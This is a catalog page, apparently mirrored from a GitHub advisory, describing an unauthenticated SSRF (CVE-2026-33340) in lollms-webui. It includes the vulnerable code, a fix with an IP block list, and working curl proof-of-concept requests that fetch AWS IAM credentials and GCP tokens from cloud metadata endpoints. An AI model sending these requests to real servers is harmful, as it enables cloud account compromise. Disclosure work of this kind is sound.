Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33340 — CVE-2026-33340: Критический SSRF в lollms-webui /api/proxy - Неаутентифицированная подделка произвольных запросов (CVSS 9.1) | Kitploit
Инструменты/GitHubGitHub/regaan/cve-2026-33340
РазведкаАнализ уязвимостейЭксплуатацияВеб-безопасностьБезопасность облачных средОбучение и Образование
GitHubregaan/cve-2026-33340

CVE-2026-33340

CVE-2026-33340: Критический SSRF в lollms-webui /api/proxy - Неаутентифицированная подделка произвольных запросов (CVSS 9.1)

Репозиторий
165 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33340: SSRF в lollms-webui

Обзор

ПолеПодробности
CVE IDCVE-2026-33340
УязвимостьПодделка запроса на стороне сервера (SSRF)
Затронутый продуктParisNeo/lollms-webui (LoLLMs WEBUI)
СерьёзностьКритическая — CVSS 9.1
Вектор CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-918: Server-Side Request Forgery (SSRF)
Затронутый компонентlollms_core/lollms/server/endpoints/lollms_apps.py
Уязвимая конечная точка/api/proxy
Консультация (Advisory)GHSA-mcwr-5469-pxj4
NVDЗапись NVD
SentinelOneАнализ SentinelOne
ОбнаруженоRegaan R — ROT Independent Security Research Lab

Краткое описание

Критическая уязвимость типа «Подделка запроса на стороне сервера» (SSRF) была обнаружена в lollms-webui, веб-интерфейсе для Lord of Large Language and Multi modal Systems. Конечная точка @router.post("/api/proxy") позволяет неаутентифицированным атакующим принудить сервер к выполнению произвольных GET-запросов. Это может быть использовано для доступа к внутренним службам, сканирования локальных сетей или хищения конфиденциальных облачных метаданных, таких как токены IAM AWS/GCP.


Затронутый продукт

  • Репозиторий: ParisNeo/lollms-webui / ParisNeo/lollms
  • Затронутый компонент: lollms_core/lollms/server/endpoints/lollms_apps.py (строки 443-450)
  • Уязвимая конечная точка: /api/proxy
  • Затронутые версии: Все известные существующие версии

Анализ первопричины

Уязвимость существует, потому что функция proxy в lollms_apps.py не реализует аутентификацию или какую-либо проверку URL/домена. Она принимает от пользователя необработанную URL-строку и передаёт её напрямую асинхронному HTTP-клиенту.

Уязвимый код

@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    try:
        async with httpx.AsyncClient() as client:
            # No check_access() call — unauthenticated
            # No URL validation — arbitrary destinations
            response = await client.get(request.url)
            return {"content": response.text}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

Что не так

  1. Отсутствие аутентификации: конечная точка не вызывает check_access(lollmsElfServer, request.client_id) или любое промежуточное ПО аутентификации, что позволяет любому неаутентифицированному пользователю вызывать её.
  2. Отсутствие проверки URL: предоставленный пользователем URL передаётся напрямую в httpx.AsyncClient().get() без проверки адреса по белому списку или блокировки частных/внутренних IP-диапазонов.
  3. Полная выдача ответа: всё тело HTTP-ответа возвращается вызывающему через {"content": response.text}, обеспечивая полное хищение данных.

Подтверждение концепции

Шаг 1 — Настройка имитируемой внутренней службы

echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888

Шаг 2 — Эксплуатация SSRF

curl -X POST http://localhost:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://localhost:8888/secret.txt"}'

Шаг 3 — Наблюдение ответа

{"content": "INTERNAL_SECRET_DATA\n"}

Сервер получил файл из внутренней службы и вернул его содержимое атакующему.

Эксплуатация метаданных облака

# AWS IMDSv1 — Получение учётных данных IAM
curl -X POST http://<цель>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP — Получение токена доступа
curl -X POST http://<цель>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

Влияние

СценарийОписание
Кража облачных учётных данныхАтакующие в облачных платформах (AWS/GCP/Azure) могут получить доступ к http://169.254.169.254/ для извлечения метаданных экземпляра, учётных данных IAM и токенов доступа — что приводит к полной компрометации облачной учётной записи.
Перемещение во внутренней сетиАтакующие могут зондировать внутренние базы данных, API, панели администрирования и интерфейсы управления, не доступные из публичного интернета.
Доступ к службам localhostАтакующие могут получить доступ к службам, привязанным к localhost (Redis, Elasticsearch, Docker API, консоли баз данных), которые неявно доверяют локальному трафику.
Сканирование внутренних портовSSRF может использоваться для перебора открытых портов и запущенных служб во внутренней сети путём наблюдения за временем ответа и сообщениями об ошибках.
Хищение данныхЛюбые данные, доступные по HTTP в пределах сети сервера, могут быть прочитаны и возвращены атакующему.

Схема атаки

Атакующий                         Сервер lollms-webui                    Внутренняя сеть
   |                                    |                                      |
   |  POST /api/proxy                   |                                      |
   |  {"url": "http://169.254..."}      |                                      |
   |----------------------------------->|                                      |
   |                                    |  GET http://169.254.169.254/...      |
   |                                    |------------------------------------->|
   |                                    |                                      |
   |                                    |  200 OK (учётные данные IAM)        |
   |                                    |<-------------------------------------|
   |                                    |                                      |
   |  {"content": "<credentials>"}      |                                      |
   |<-----------------------------------|                                      |

Предлагаемое исправление

1. Добавление аутентификации

@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    check_access(lollmsElfServer, request.client_id)  # Add this
    # ...

2. Реализация проверки URL

from urllib.parse import urlparse
import ipaddress

BLOCKED_RANGES = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),  # Cloud metadata
]

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    hostname = parsed.hostname
    if hostname in ("localhost", ""):
        return False
    try:
        ip = ipaddress.ip_address(hostname)
        return not any(ip in network for network in BLOCKED_RANGES)
    except ValueError:
        # Hostname is a domain — resolve and check
        import socket
        resolved = socket.gethostbyname(hostname)
        ip = ipaddress.ip_address(resolved)
        return not any(ip in network for network in BLOCKED_RANGES)

3. Ограничение белым списком доменов

ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]

def is_whitelisted(url: str) -> bool:
    parsed = urlparse(url)
    return parsed.hostname in ALLOWED_DOMAINS

Статус исправления

На дату публикации исправленная версия lollms-webui уже была выпущена.


Хронология

Скачать инструмент